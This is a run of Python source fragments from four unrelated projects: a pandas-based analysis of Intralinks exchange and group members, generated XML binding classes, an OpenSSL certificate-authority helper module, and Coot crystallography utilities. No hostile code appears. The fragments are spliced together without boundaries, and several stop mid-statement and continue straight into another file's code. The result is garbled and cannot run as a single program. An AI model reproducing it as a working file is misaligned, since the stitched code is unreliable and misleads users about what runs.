exchange_members_with_details = d['users'] self.intralinks_users = [] # Filled by the next call to self._split_intralinks_users_from_exchange_members self.exchange_members = self._split_intralinks_users_from_exchange_members(exchange_members_with_details, set()) else: self.exchange_members = [] if 'group_members' in d: self.group_members = d['group_members'] elif 'members' in d: self.group_members = d['members'] else: self.group_members = [] for o in self.groups + self.exchange_members + self.group_members: if 'exchange_id' in o: o['exchangeId'] = o['exchange_id'] del o['exchange_id'] #========================================================================================= def get_primary_email(self, email, exchange_id=None): user = self.il.get_user_account(email, exchange_id)[0] return user['emailId'] #========================================================================================= def top_users(self, dataframe=None, min_groups=2): """ Give the list of the users sorted by the number of groups they are member of The users with the most groups appear at the top Parameters: ----------- dataframe: dataframe the Pandas dataframe to analyse for top users min_groups: int, default=2 return only the users who are memeber of at least <min_groups> groups """ if dataframe is None: dataframe = self.dataframe df = dataframe[(~dataframe['intralinks_user.emailId'].isnull())].groupby('intralinks_user.emailId').agg( self._columns_in_dataframe(dataframe, { 'exchange.id':lambda v:v.nunique(dropna=True), 'group.id':lambda v:v.nunique(dropna=True) }) ).reset_index() df = df.rename(index=str, columns={ 'intralinks_user.emailId': 'email', 'exchange.id': 'exchange_count', 'group.id': 'group_count' }) if 'group_count' in df: df = df[df['group_count'] > min_groups] return self._sort_values(df, 'group_count', ascending=False) def _columns_in_dataframe(self, dataframe, collection): if isinstance(collection, list): return [c for c in collection if c in dataframe] elif isinstance(collection, dict): return {c:collection[c] for c in collection if c in dataframe} else: return collection def _sort_values(self, dataframe, column, ascending): if column in dataframe: return dataframe.sort_values(column, ascending=ascending) else: return dataframe def top_groups(self, dataframe=None, min_users=10): if dataframe is None: dataframe = self.dataframe df = dataframe[(~dataframe['intralinks_user.emailId'].isnull())].groupby( self._columns_in_dataframe(dataframe, [ 'exchange.id', 'exchange.workspaceName', 'group.id', 'group.groupName', 'group.list_type', 'group.list_id', 'group.doc_type' ]) ).agg({ 'exchange_member.id':len, 'intralinks_user.domain':lambda v:'|'.join(sorted(v.unique())) }).reset_index() df = df[df['exchange_member.id'] > min_users] return self._sort_values(df, 'exchange_member.id', ascending=False) def top_investors(self, dataframe=None): if dataframe is None: dataframe = self.dataframe df = dataframe[(~dataframe['intralinks_user.emailId'].isnull())].groupby([ 'group.list_id' ]).agg({ 'exchange.id':lambda v:len(v.unique()), 'group.doc_type':lambda v:len(v.unique()), 'intralinks_user.emailId':lambda v:len(v.unique()), 'intralinks_user.domain':lambda v:'|'.join(sorted(v.unique())) }).reset_index() return self._sort_values(df, 'exchange.id', ascending=False) def orphans(self, dataframe=None): if dataframe is None: dataframe = self.dataframe df = dataframe[~dataframe['intralinks_user.emailId'].isnull()].groupby([ 'intralinks_user.emailId', 'exchange.id', 'exchange.workspaceName', 'exchange_member.roleType' ]).agg({'group.id':len}).reset_index() return df[(df['group.id'] == 1) & (~df['exchange_member.roleType'].isin({'MANAGER_PLUS', 'HIDDEN_MANAGER_PLUS', 'PUBLISHER'}))].pivot_table( index='intralinks_user.emailId', columns='exchange.workspaceName', aggfunc={'exchange_member.roleType':lambda v:v.unique()[0] }).fillna('') def exchanges_for(self, dataframe=None, email=None): if dataframe is None: dataframe = self.dataframe return dataframe[dataframe['intralinks_user.email'] == email.lower()].groupby(['exchange.id', 'exchange.workspaceName']).aggregate({ 'exchange_member.roleType':lambda v: ', '.join(v.unique()), 'group.id':lambda v: v.nunique(dropna=True) }) def groups_for(self, dataframe=None, email=None, domain=None): if dataframe is None: dataframe = self.dataframe filter2 = None if email: if isinstance(email, str): email = [email] filter2 = dataframe['intralinks_user.email'].isin({e.lower() for e in email}) else: if isinstance(domain, str): domain = [domain] filter2 = dataframe['intralinks_user.domain'].isin({d.lower() for d in domain}) # all the entries for the specified user df1 = dataframe[(~dataframe['group.id'].isnull()) & (filter2)] # all the associated groups group_ids = df1['group.id'].unique() # all the entries for the associated groups, whatever the user df2 = dataframe[(~dataframe['intralinks_user.emailId'].isnull()) & (dataframe['group.id'].isin(group_ids))] # counting users and domains df3 = df2.groupby( self._columns_in_dataframe(dataframe, [ 'exchange.id', 'exchange.workspaceName', 'group.id', 'group.groupName', 'group.list_type', 'group.list_id', 'group.doc_type' ]) ).agg( self._columns_in_dataframe(dataframe, { 'exchange_member.roleType':lambda v: ', '.join(v.unique()), 'intralinks_user.id':len, 'intralinks_user.domain':lambda v:'|'.join(sorted(v.unique())) }) ) return df3 def team_for(self, dataframe=None, email=None, domain=None): if dataframe is None: dataframe = self.dataframe filter2 = None if email: if isinstance(email, str): email = [email] filter2 = dataframe['intralinks_user.email'].isin({e.lower() for e
= value value = find_attr_value_('_desynched_atts', node) if value is not None and '_desynched_atts' not in already_processed: already_processed.add('_desynched_atts') self._desynched_atts = value value = find_attr_value_('_id', node) if value is not None and '_id' not in already_processed: already_processed.add('_id') self._id = value def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'Rows': obj_ = RowsType.factory() obj_.build(child_) self.Rows = obj_ obj_.original_tagname_ = 'Rows' # end class InertiaTensorType class RowsType(GeneratedsSuper): subclass = None superclass = None def __init__(self, _derived=None, _real_archetype=None, _archetype=None, _subtype=None, _instances=None, _desynched_atts=None, _id=None, Row=None): self.original_tagname_ = None self._derived = _cast(None, _derived) self._real_archetype = _cast(bool, _real_archetype) self._archetype = _cast(None, _archetype) self._subtype = _cast(bool, _subtype) self._instances = _cast(None, _instances) self._desynched_atts = _cast(None, _desynched_atts) self._id = _cast(None, _id) if Row is None: self.Row = [] else: self.Row = Row def factory(*args_, **kwargs_): if RowsType.subclass: return RowsType.subclass(*args_, **kwargs_) else: return RowsType(*args_, **kwargs_) factory = staticmethod(factory) def get_Row(self): return self.Row def set_Row(self, Row): self.Row = Row def add_Row(self, value): self.Row.append(value) def insert_Row(self, index, value): self.Row[index] = value def get__derived(self): return self._derived def set__derived(self, _derived): self._derived = _derived def get__real_archetype(self): return self._real_archetype def set__real_archetype(self, _real_archetype): self._real_archetype = _real_archetype def get__archetype(self): return self._archetype def set__archetype(self, _archetype): self._archetype = _archetype def get__subtype(self): return self._subtype def set__subtype(self, _subtype): self._subtype = _subtype def get__instances(self): return self._instances def set__instances(self, _instances): self._instances = _instances def get__desynched_atts(self): return self._desynched_atts def set__desynched_atts(self, _desynched_atts): self._desynched_atts = _desynched_atts def get__id(self): return self._id def set__id(self, _id): self._id = _id def hasContent_(self): if ( self.Row ): return True else: return False def export(self, outfile, level, namespace_='', name_='RowsType', namespacedef_='', pretty_print=True): if pretty_print: eol_ = '\n' else: eol_ = '' if self.original_tagname_ is not None: name_ = self.original_tagname_ showIndent(outfile, level, pretty_print) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = set() self.exportAttributes(outfile, level, already_processed, namespace_, name_='RowsType') if self.hasContent_(): outfile.write('>%s' % (eol_, )) self.exportChildren(outfile, level + 1, namespace_='', name_='RowsType', pretty_print=pretty_print) showIndent(outfile, level, pretty_print) outfile.write('</%s%s>%s' % (namespace_, name_, eol_)) else: outfile.write('/>%s' % (eol_, )) def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='RowsType'): if self._derived is not None and '_derived' not in already_processed: already_processed.add('_derived') outfile.write(' _derived=%s' % (self.gds_format_string(quote_attrib(self._derived).encode(ExternalEncoding), input_name='_derived'), )) if self._real_archetype is not None and '_real_archetype' not in already_processed: already_processed.add('_real_archetype') outfile.write(' _real_archetype="%s"' % self.gds_format_boolean(self._real_archetype, input_name='_real_archetype')) if self._archetype is not None and '_archetype' not in already_processed: already_processed.add('_archetype') outfile.write(' _archetype=%s' % (self.gds_format_string(quote_attrib(self._archetype).encode(ExternalEncoding), input_name='_archetype'), )) if self._subtype is not None and '_subtype' not in already_processed: already_processed.add('_subtype') outfile.write(' _subtype="%s"' % self.gds_format_boolean(self._subtype, input_name='_subtype')) if self._instances is not None and '_instances' not in already_processed: already_processed.add('_instances') outfile.write(' _instances=%s' % (self.gds_format_string(quote_attrib(self._instances).encode(ExternalEncoding), input_name='_instances'), )) if self._desynched_atts is not None and '_desynched_atts' not in already_processed: already_processed.add('_desynched_atts') outfile.write(' _desynched_atts=%s' % (self.gds_format_string(quote_attrib(self._desynched_atts).encode(ExternalEncoding), input_name='_desynched_atts'), )) if self._id is not None and '_id' not in already_processed: already_processed.add('_id') outfile.write(' _id=%s' % (self.gds_format_string(quote_attrib(self._id).encode(ExternalEncoding), input_name='_id'), )) def exportChildren(self, outfile, level, namespace_='', name_='RowsType', fromsubclass_=False, pretty_print=True): if pretty_print: eol_ = '\n' else: eol_ = '' for Row_ in self.Row: Row_.export(outfile, level, namespace_, name_='Row', pretty_print=pretty_print) def exportLiteral(self, outfile, level, name_='RowsType'): level += 1 already_processed = set() self.exportLiteralAttributes(outfile, level, already_processed, name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self._derived is not None and '_derived' not in already_processed: already_processed.add('_derived') showIndent(outfile, level) outfile.write('_derived="%s",\n' % (self._derived,)) if self._real_archetype is not None and '_real_archetype' not in already_processed: already_processed.add('_real_archetype') showIndent(outfile, level) outfile.write('_real_archetype=%s,\n' % (self._real_archetype,)) if self._archetype is not None and '_archetype' not in already_processed: already_processed.add('_archetype') showIndent(outfile, level) outfile.write('_archetype="%s",\n' % (self._archetype,)) if self._subtype is not None and '_subtype' not in already_processed: already_processed.add('_subtype') showIndent(outfile, level) outfile.write('_subtype=%s,\n' % (self._subtype,)) if self._instances is not None and '_instances' not in already_processed: already_processed.add('_instances') showIndent(outfile, level) outfile.write('_instances="%s",\n' % (self._instances,)) if self._desynched_atts is not None and '_desynched_atts' not in already_processed: already_processed.add('_desynched_atts') showIndent(outfile, level) outfile.write('_desynched_atts="%s",\n' % (self._desynched_atts,)) if self._id is not None and '_id' not in already_processed: already_processed.add('_id') showIndent(outfile, level) outfile.write('_id="%s",\n' % (self._id,)) def exportLiteralChildren(self, outfile, level, name_): showIndent(outfile, level) outfile.write('Row=[\n') level += 1 for Row_ in self.Row: showIndent(outfile, level) outfile.write('model_.RowType(\n') Row_.exportLiteral(outfile, level, name_='RowType') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): already_processed = set() self.buildAttributes(node, node.attrib, already_processed) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) return self def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('_derived', node) if value is not None and '_derived' not in already_processed: already_processed.add('_derived') self._derived = value value = find_attr_value_('_real_archetype', node) if value is not None and '_real_archetype' not in already_processed: already_processed.add('_real_archetype') if value in ('true', '1'): self._real_archetype = True elif value in ('false', '0'): self._real_archetype = False else: raise_parse_error(node, 'Bad boolean attribute') value = find_attr_value_('_archetype', node) if value is not None and '_archetype' not in already_processed: already_processed.add('_archetype') self._archetype = value value = find_attr_value_('_subtype', node) if value is not None and '_subtype' not in already_processed: already_processed.add('_subtype') if value in ('true', '1'): self._subtype = True elif value in ('false', '0'): self._subtype = False else: raise_parse_error(node, 'Bad boolean attribute') value = find_attr_value_('_instances', node) if value is not None and '_instances' not in already_processed: already_processed.add('_instances') self._instances = value value = find_attr_value_('_desynched_atts', node) if value is not None and '_desynched_atts' not in already_processed: already_processed.add('_desynched_atts') self._desynched_atts = value value = find_attr_value_('_id', node) if value is not None and '_id' not in already_processed: already_processed.add('_id') self._id = value def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'Row': obj_ = RowType.factory() obj_.build(child_) self.Row.append(obj_) obj_.original_tagname_ = 'Row' # end class RowsType class RowType(GeneratedsSuper): subclass = None superclass = None def __init__(self, _derived=None, _real_archetype=None, _archetype=None, _subtype=None, _instances=None, _desynched_atts=None, _id=None, Column=None): self.original_tagname_ = None self._derived = _cast(None, _derived) self._real_archetype = _cast(bool, _real_archetype) self._archetype = _cast(None, _archetype) self._subtype = _cast(bool, _subtype) self._instances = _cast(None, _instances) self._desynched_atts = _cast(None, _desynched_atts) self._id = _cast(None, _id) if Column is None: self.Column = [] else: self.Column = Column def factory(*args_, **kwargs_): if RowType.subclass: return RowType.subclass(*args_, **kwargs_) else: return RowType(*args_, **kwargs_) factory = staticmethod(factory) def get_Column(self): return self.Column def set_Column(self, Column): self.Column = Column def add_Column(self, value): self.Column.append(value) def insert_Column(self, index, value): self.Column[index] = value def get__derived(self): return self._derived def set__derived(self, _derived): self._derived = _derived def get__real_archetype(self): return self._real_archetype def set__real_archetype(self, _real_archetype): self._real_archetype = _real_archetype def get__archetype(self): return self._archetype def set__archetype(self, _archetype): self._archetype = _archetype def get__subtype(self): return self._subtype def set__subtype(self, _subtype): self._subtype = _subtype def get__instances(self): return self._instances def set__instances(self, _instances): self._instances = _instances def get__desynched_atts(self): return self._desynched_atts def set__desynched_atts(self, _desynched_atts): self._desynched_atts = _desynched_atts def get__id(self): return self._id def set__id(self, _id): self._id = _id def hasContent_(self): if ( self.Column ): return True else: return False def export(self, outfile, level, namespace_='', name_='RowType', namespacedef_='', pretty_print=True): if pretty_print: eol_ = '\n' else: eol_ = '' if self.original_tagname_ is not None: name_ = self.original_tagname_ showIndent(outfile, level, pretty_print) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = set() self.exportAttributes(outfile, level, already_processed, namespace_, name_='RowType') if self.hasContent_(): outfile.write('>%s' % (eol_, )) self.exportChildren(outfile, level + 1, namespace_='', name_='RowType', pretty_print=pretty_print) showIndent(outfile, level, pretty_print) outfile.write('</%s%s>%s' % (namespace_, name_, eol_)) else: outfile.write('/>%s' % (eol_, )) def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='RowType'): if self._derived is not None and '_derived' not in already_processed: already_processed.add('_derived') outfile.write(' _derived=%s' % (self.gds_format_string(quote_attrib(self._derived).encode(ExternalEncoding), input_name='_derived'), )) if self._real_archetype is not None and '_real_archetype' not in already_processed: already_processed.add('_real_archetype') outfile.write(' _real_archetype="%s"' % self.gds_format_boolean(self._real_archetype, input_name='_real_archetype')) if self._archetype is not None and '_archetype' not in already_processed: already_processed.add('_archetype') outfile.write(' _archetype=%s' % (self.gds_format_string(quote_attrib(self._archetype).encode(ExternalEncoding), input_name='_archetype'), )) if self._subtype is not None and '_subtype' not in already_processed: already_processed.add('_subtype') outfile.write(' _subtype="%s"' % self.gds_format_boolean(self._subtype, input_name='_subtype')) if self._instances is not None and '_instances' not in already_processed: already_processed.add('_instances') outfile.write(' _instances=%s' % (self.gds_format_string(quote_attrib(self._instances).encode(ExternalEncoding), input_name='_instances'), )) if self._desynched_atts is not None and '_desynched_atts' not in already_processed: already_processed.add('_desynched_atts') outfile.write(' _desynched_atts=%s' % (self.gds_format_string(quote_attrib(self._desynched_atts).encode(ExternalEncoding), input_name='_desynched_atts'), )) if self._id is not None and '_id' not in already_processed: already_processed.add('_id') outfile.write(' _id=%s' % (self.gds_format_string(quote_attrib(self._id).encode(ExternalEncoding), input_name='_id'), )) def exportChildren(self, outfile, level, namespace_='', name_='RowType', fromsubclass_=False, pretty_print=True): if pretty_print: eol_ = '\n' else: eol_ = '' for Column_ in self.Column: Column_.export(outfile, level, namespace_, name_='Column', pretty_print=pretty_print) def exportLiteral(self, outfile, level, name_='RowType'): level += 1 already_processed = set() self.exportLiteralAttributes(outfile, level, already_processed, name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self._derived is not None and '_derived' not in already_processed: already_processed.add('_derived') showIndent(outfile, level) outfile.write('_derived="%s",\n'
# Copyright (C) 2014 Orange # This software is distributed under the terms and conditions of the 'BSD # 3-Clause' license which can be found in the 'LICENSE.txt' file in this package # distribution or at 'http://opensource.org/licenses/BSD-3-Clause'. """Core openssl command and environment generation functions. This is where all the core commands are built, look at the code if you wish to get an idea of the options used and improve on them. """ import os import pickle from subprocess import call from .macros import * def env(pki): """Generates the environment for a pki instance. pki -- a PKI object Use this once you are done with creating and populating your PKI instance and are contempt with it. This function will create the following: working directory -- as defined in pki.path["wdidr"] key directory -- as defined in pki.path[".keys"] csr directory -- as defined in pki.path["csrs"] cert drectory -- as defined in pki.path["certs"] crls directory -- as defined in pki.path["crls"] sans file, if any -- as defined in pki.path["sans"] index file -- as defined in pki.path["index"] serial file -- as defined in pki.path["serial"] openssl config -- as defined in pki.path["config.cnf"] state file -- as defined in pki.path["state"] Have a look at these files to get an idea of the minimum enabled. There are a few directives which are not mandatory in the openssl configuration file, while others are required for openssl to operate correctly. For more details refer to /etc/ssl/openssl.cnf (or relevant configuration template). For automation reasons, the bare minimum is specified in the config files and everything revolves around the flexibility allowed by command line options. """ print("Generating environment for {0}...".format(pki.id)) # Create working directory if not os.path.exists(pki.path["wdir"]): os.makedirs(pki.path["wdir"]) # Create log file # if not os.path.isfile(pki.path["log"]): # open(pki.path["log"], "a").close() # Create .private directory # if not os.path.exists(pki.path[".private"]): # os.makedirs(pki.path[".private"]) # Create .keys directory if not os.path.exists(pki.path[".keys"]): os.makedirs(pki.path[".keys"]) # Create csrs directory if not os.path.exists(pki.path["csrs"]): os.makedirs(pki.path["csrs"]) # Create certs directory if not os.path.exists(pki.path["certs"]): os.makedirs(pki.path["certs"]) # Create crls directory if not os.path.exists(pki.path["crls"]): os.makedirs(pki.path["crls"]) # Create randf file # if not os.path.isfile(pki.path["randf"]): # open(pki.path["randf"], "a").close() # # Create and initialise serial file # if not os.path.isfile(pki.path["serial"]): # with open(pki.path["serial"], "a") as s_hdlr: # s_hdlr.write("02") # s_hdlr.close() # Create index file if not os.path.isfile(pki.path["index"]): open(pki.path["index"], "a").close() # Create serial file if not os.path.isfile(pki.path["serial"]): open(pki.path["serial"], "a").close() # Create template config file if not os.path.isfile(pki.path["config.cnf"]): with open(pki.path["config.cnf"], "a") as c_hdlr: template = "################################################################################\n" template += "# CSR DEFAULT CONFIG #\n" template += "################################################################################\n\n" template += "[ req ]\n\n" template += "distinguished_name = csr_distinguished_name\n" template += "string_mask = utf8only\n\n" # template += "# Enable passphrase: uncomment below and corresponding section\n" # template += "#attributes = req_attributes\n\n" template += "################################################################################\n\n" template += "[ csr_distinguished_name ]\n\n" template += "countryName = Country Code (max 2)\n" template += "countryName_default = EL # default is Elbonia\n" template += "countryName_min = 2\n" template += "countryName_max = 2\n\n" template += "stateOrProvinceName = State (max 128)\n" template += "stateOrProvinceName_default = Mudlands\n" template += "stateOrProvinceName_max = 128\n\n" template += "localityName = City (max 128)\n" template += "localityName_default = Mudcity\n" template += "localityName_max = 128\n\n" template += "0.organizationName = Company (max 64)\n" template += "0.organizationName_default = Dilbert.Ltd\n" template += "0.organizationName_max = 64\n\n" template += "# can set a secondary/extended name\n" template += "#1.organizationName = CompanyBis (max 64)\n" template += "#1.organizationName_default = Engineer.Inc\n" template += "#1.organizationName_max = 64\n\n" template += "organizationalUnitName = Unit (max 64)\n" template += "organizationalUnitName_default = R&D\n" template += "organizationalUnitName_max = 64\n\n" template += "commonName = default-CN-fqdn/name (max 64)\n" template += "commonName_max = 64\n\n" template += "emailAddress = @address (max 128)\n" template += "emailAddress_max = 128\n\n" template += "################################################################################\n\n" # template += "#[ req_attributes ]\n\n" # template += "#\n" # template += "#challengePassword = <PASSWORD>" # template += "#challengePassword_min = 4\n" # template += "#challengePassword_max = 20\n\n" # template += "################################################################################\n" # template += "# CUSTOM CONFIG #\n" # template += "################################################################################\n\n" # template += "# remember to edit code accordingly if any\n\n" template += "################################################################################\n" template += "# CRL DEFAULT CONFIG #\n" template += "################################################################################\n\n" template += "[ crl_ext ]\n\n" template += "issuerAltName = issuer:copy\n" # template += "authorityKeyIdentifier = keyid:always\n\n" template += "################################################################################\n\n" template += "[ ca ]\n\n" template += "default_ca = default\n\n" template += "################################################################################\n\n" template += "[ default ]\n\n" template += "default_md = default\n" template += "crl_extensions = crl_ext\n" template += "database = {0}\n\n".format(pki.path["index"]) template += "serial = {0}\n\n".format(pki.path["serial"]) # template += "# WARNING, the database entry will be added at the EOF, don't add anything below, use allocated space above\n" c_hdlr.write(template) c_hdlr.close() # Create state file if not os.path.isfile(pki.path["state"]): open(pki.path["state"], "a").close() def save(pki): """Save pki state on disk. pki -- a PKI object Pickle the pki object in the pki.path["state"] file for later reuse. """ print("Saving pki instance {0}...".format(pki.id)) with open(pki.path["state"], "wb") as p_hdlr: pickle.dump(pki, p_hdlr) p_hdlr.close() def key(node, state=True): """Generate an RSA key file. node -- a Node object state -- boolean, save pki state after creation (default True) This function builds the relevant command for creating an RSA key. If successfully created, it sets the node's internal status to "csr". Since there are limitations in handling .der file formats, the manipulated key is in .pem format. See gen.keyform for format conversion. """ cmd = "{0} genpkey".format(node.pki.path["openssl"]) cmd += " -algorithm rsa" cmd += " -pkeyopt rsa_keygen_bits:{0}".format(node.key_len) cmd += " -out {0}/{1}.key.pem".format(node.pki.path[".keys"], node.nid) cmd += " -outform pem" print("\t`-> [openssl] " + cmd) if not call(cmd.split()): node.key_path = "{0}/{1}.key.pem".format(node.pki.path[".keys"], node.nid) node._status = "csr" else: print("\t/!\ [WARNING]\t\tWell, clearly something went wrong when calling, investigate the error message above.") if state: save(node.pki) def keyform(node, outform): """Format conversion of RSA key files. node -- a Node object outform -- string, output format, must be in FORMATS Typically used for for converting .pem RSA key files to .der. It assumes inform is pem, swap pem and der if you wish to do the reverse operation. """ if not outform in FORMATS: return cmd = "{0} rsa".format(node.pki.path["openssl"]) cmd += " -in {0}".format(node.key_path) cmd += " -inform pem" cmd += " -out {0}".format(".".join(node.key_path.split(".")[:-1]) + ".{0}".format(outform)) cmd += " -outform {0}".format(outform) print("\t`-> [openssl] " + cmd) if call(cmd.split()): print("\t/!\ [WARNING]\t\tWell, clearly something went wrong when calling, investigate the error message above.") def csr(node, state=True, verbose=False): """Generate a certificate signing request file. node -- a Node object state -- boolean, save pki state after creation (default True) verbose -- boolean, enable verbose option in the openssl command (default False) This function builds the relevant command for creating a csr file. The relevant keyfile must exist. If successfully created, it sets the node's internal status to "cert". Since there are limitations in handling .der file formats, the manipulated csr is in .pem format. See gen.csrform for format conversion. """ # Create sans file if it does not exists : # question: we only need to change sans when adding or modifying a node, this is used for the csr generation and as such should be performed in csr() with open(node.pki.path["sans"], "a") as san_hdlr: if node._status == "csr" : template = "[ {0}_ext ]\n\n".format(node.nid) template += "basicConstraints = critical,CA:{0},pathlen:{1}\n".format("TRUE" if node.ntype == "ca" else "FALSE",node.pathlen) # digitalSignature, nonRepudiation, keyEncipherment, dataEncipherment, keyAgreement, keyCertSign, cRLSign, encipherOnly and decipherOnly # serverAuth SSL/TLS Web Server Authentication. # clientAuth SSL/TLS Web Client Authentication. # codeSigning Code signing. # emailProtection E-mail Protection (S/MIME). # timeStamping Trusted Timestamping # msCodeInd Microsoft Individual Code Signing (authenticode) # msCodeCom Microsoft Commercial Code Signing (authenticode) # msCTLSign Microsoft Trust List Signing # msSGC Microsoft Server Gated Crypto # msEFS Microsoft Encrypted File System # nsSGC # extendedKeyUsage=critical,codeSigning,1.2.3.4 template += "keyUsage = {0}\n".format("cRLSign,keyCertSign" if node.ntype == "ca" else "nonRepudiation,digitalSignature,keyEncipherment") template += "subjectKeyIdentifier = hash\n" if node.nid != node.issuer: template += "issuerAltName = issuer:copy\n" # template += "authorityKeyIdentifer = keyid,issuer\n" if node.crl_dps: template += "crlDistributionPoints = {0}\n".format(",".join(["URI:" + uri for uri in node.crl_dps.lower().replace(" ", "").split(",")])) print("working on node:
return rs[0] else: if (len(rs) == 4): return rs[1] else: return False def residue_spec2res_no(rs): if not isinstance(rs, list): return False else: if (len(rs) == 3): return rs[1] else: if (len(rs) == 4): return rs[2] return False def residue_spec2ins_code(rs): if not isinstance(rs, list): return False else: if (len(rs) == 3): return rs[2] else: if (len(rs) == 4): return rs[3] return False def atom_spec2imol(atom_spec): import types if not (isinstance(atom_spec, types.ListType)): return False else: if (len(atom_spec) == 6): return atom_spec[0] if (len(atom_spec) == 7): return atom_spec[1] return False def residue_spec2residue_name(imol, spec): return residue_name(imol, spec[1], spec[2], spec[3]) # Return a list of molecules that are maps # def map_molecule_list(): map_list = [] for i in range(graphics_n_molecules()): if is_valid_map_molecule(i): map_list.append(i) return map_list # Return a list of molecules that are (coordinate) models # def model_molecule_list(): model_list = [] for i in range(graphics_n_molecules()): if is_valid_model_molecule(i): model_list.append(i) return model_list # Return True(False) if @var{imol} is (isn't) a shelx molecule. # def shelx_molecule_qm(imol): if (is_shelx_molecule(imol) == 1): return True else: return False # Set the virtual trackball behaviour. # # trackball @var{type} is a string: either 'flat' or 'spherical-surface' # def set_virtual_trackball_type(type): if (type == "flat"): vt_surface(1) elif (type == "spherical-surface"): vt_surface(0) else: print "virtual trackball type",type,"not understood" # Is ls a list of strings? Return True or False # def list_of_strings_qm(ls): import types not_str =0 if type(ls) is not ListType: return False else: for item in ls: if isinstance(item,types.StringTypes): pass else: not_str += 1 if not_str == 0: return True else: return False # string concat with spaces, @var{ls} must be a list of strings. # def string_append_with_spaces(ls): import string if ls: return string.join(ls) else: return [""] # The screen centre. # # return the rotation centre as a 3 membered list of numbers # is python list [...] !!! # def rotation_centre(): return [coot.rotation_centre_position(0), coot.rotation_centre_position(1), coot.rotation_centre_position(2)] # this is actually not essentail since python has these funtion(s) def number_list(a,b): result = [] if a == b: result.append(a) return result elif a > b : return result else : while a <=b : result.append(a) a = a + 1 return result def file_n_lines(file_name): if not os.path.isfile(file_name): return False else: fin = open(file_name, 'r') n_lines = sum(1 for line in fin) fin.close() return n_lines # backport, so that we can replace once move to Python 2.7 is done def check_output(*popenargs, **kwargs): r"""Run command with arguments and return its output as a byte string. Backported from Python 2.7 as it's implemented as pure python on stdlib. >>> check_output(['/usr/bin/python', '--version']) Python 2.6.2 """ import subprocess process = subprocess.Popen(stdout=subprocess.PIPE, *popenargs, **kwargs) output, unused_err = process.communicate() retcode = process.poll() if retcode: cmd = kwargs.get("args") if cmd is None: cmd = popenargs[0] error = subprocess.CalledProcessError(retcode, cmd) error.output = output raise error return output # returns false of there is a problem running cmd # def shell_command_to_string(cmd): import subprocess import sys major, minor, micro, releaselevel, serial = sys.version_info if (major >= 2 and minor >= 7): try: ret = subprocess.check_output(cmd.split()) except: ret = False else: try: ret = check_output(cmd) except: ret = False return ret # Return True or False # adapted from find_exe # this finds absolute file names too # def command_in_path_qm(cmd, only_extension_here=None, add_extensions_here=None): if add_extensions_here is None: add_extensions_here = [] exe_path = find_exe(cmd, "PATH", no_disk_search=True, screen_info=False, only_extension=only_extension_here, add_extensions=add_extensions_here) if exe_path: return True else: return False def command_in_path_qm_old_version(cmd, only_extension="", add_extensions=None): # test for command (see goosh-command-with-file-input description) # if add_extensions is None: add_extensions = [] import os, string # we shall check for full path names first if (os.path.isfile(cmd)): return True else: extensions = [] cmd_noext = cmd # some windows magic if (os.name == 'nt'): file_ext = file_name_extension(cmd) cmd_noext = strip_extension(cmd) if (file_ext): extensions = [file_ext] else: tmp_ext = os.environ["PATHEXT"].split(os.pathsep) # list of extensions (no dot) only extensions = map(lambda ext: ext[1:], tmp_ext) if only_extension: extensions = [only_extension] if add_extensions: extensions += add_extensions program_names = [cmd_noext] if extensions: program_names += map(lambda ext: cmd_noext + "." + ext, extensions) try: primary_path = os.environ["PATH"] for cmd_name in program_names: for path in string.split(primary_path, os.pathsep): program_exe = os.path.join(path, cmd_name) # print "BL DEBUG:: program_exe is", program_exe if (os.path.isfile(program_exe)): return True return False except: print "BL WARNING:: couldnt open $PATH" # this shouldnt happen return False global gtk_thread_return_value gtk_thread_return_value = None # Where cmd is e.g. "refmac" # args is ["HKLIN","thing.mtz"] # data_list is ["HEAD","END"] # log_file_name is "refmac.log" # screen_flag True/False to display or not in shell window # # Return the exist status e.g. 0 or 1. Or False if cmd not found. # # uses os.popen if python version < 2.4 otherwise subprocess # def popen_command(cmd, args, data_list, log_file, screen_flag=False): import sys, string, os major, minor, micro, releaselevel, serial = sys.version_info if (os.path.isfile(cmd)): cmd_execfile = cmd else: if not(command_in_path_qm(cmd)): print "command ", cmd, " not found in $PATH!" print "BL INFO:: Maybe we'll find it somewhere else later..." cmd_execfile = find_exe(cmd, "CCP4_BIN", "PATH") if (cmd_execfile): # minor = 2 if (major >= 2 and minor >=4): # subprocess import subprocess log = open(log_file, 'w') cmd_args = [cmd_execfile] + args if (screen_flag): process = subprocess.Popen(cmd_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE) else: process = subprocess.Popen(cmd_args, stdin=subprocess.PIPE, stdout=log) for data in data_list: process.stdin.write(data + "\n") process.stdin.close() if (screen_flag): for line in process.stdout: print "#", line.rstrip(" \n") # remove trailing whitespace log.write(line) process.wait() log.close() return process.returncode else: # popen (old) data_list_file = "data_list_file_tmp.txt" # make args string args_string = string.join(args) # write tmp input file input = file (data_list_file,'w') for data in data_list: input.write(data + '\n') input.close() # print "BL DEBUG:: popen command is", cmd_execfile + " " + args_string + " < " + data_list_file + " > " + log_file status = os.popen(cmd_execfile + " " + args_string + " < " + data_list_file + " > " + log_file, 'r') cmd_finished = status.close() if (cmd_finished is not None): print "running command ", cmd, " failed!" return 1 else: # print "cmd ", cmd ," seems to have run ok!" # log_file_size = os.stat(log_file)[stat.ST_SIZE] return 0 os.remove(data_list_file) else: print "WARNING:: could not find {0!s}, so not running".format(cmd) return False # example usage: # popen_command("mtzdump",["HKLIN","a.mtz"],["HEAD","END"],"test.log",0) # Crude test to see of 2 floats are the same (more or less). # Used in a unit test after setting the atom position. # def close_float_qm(x1, x2): return (abs(x1 - x2) < 0.001) # "a.b.res" -> "a.b" # file_name_sans_extension # def strip_extension(s): import os head, 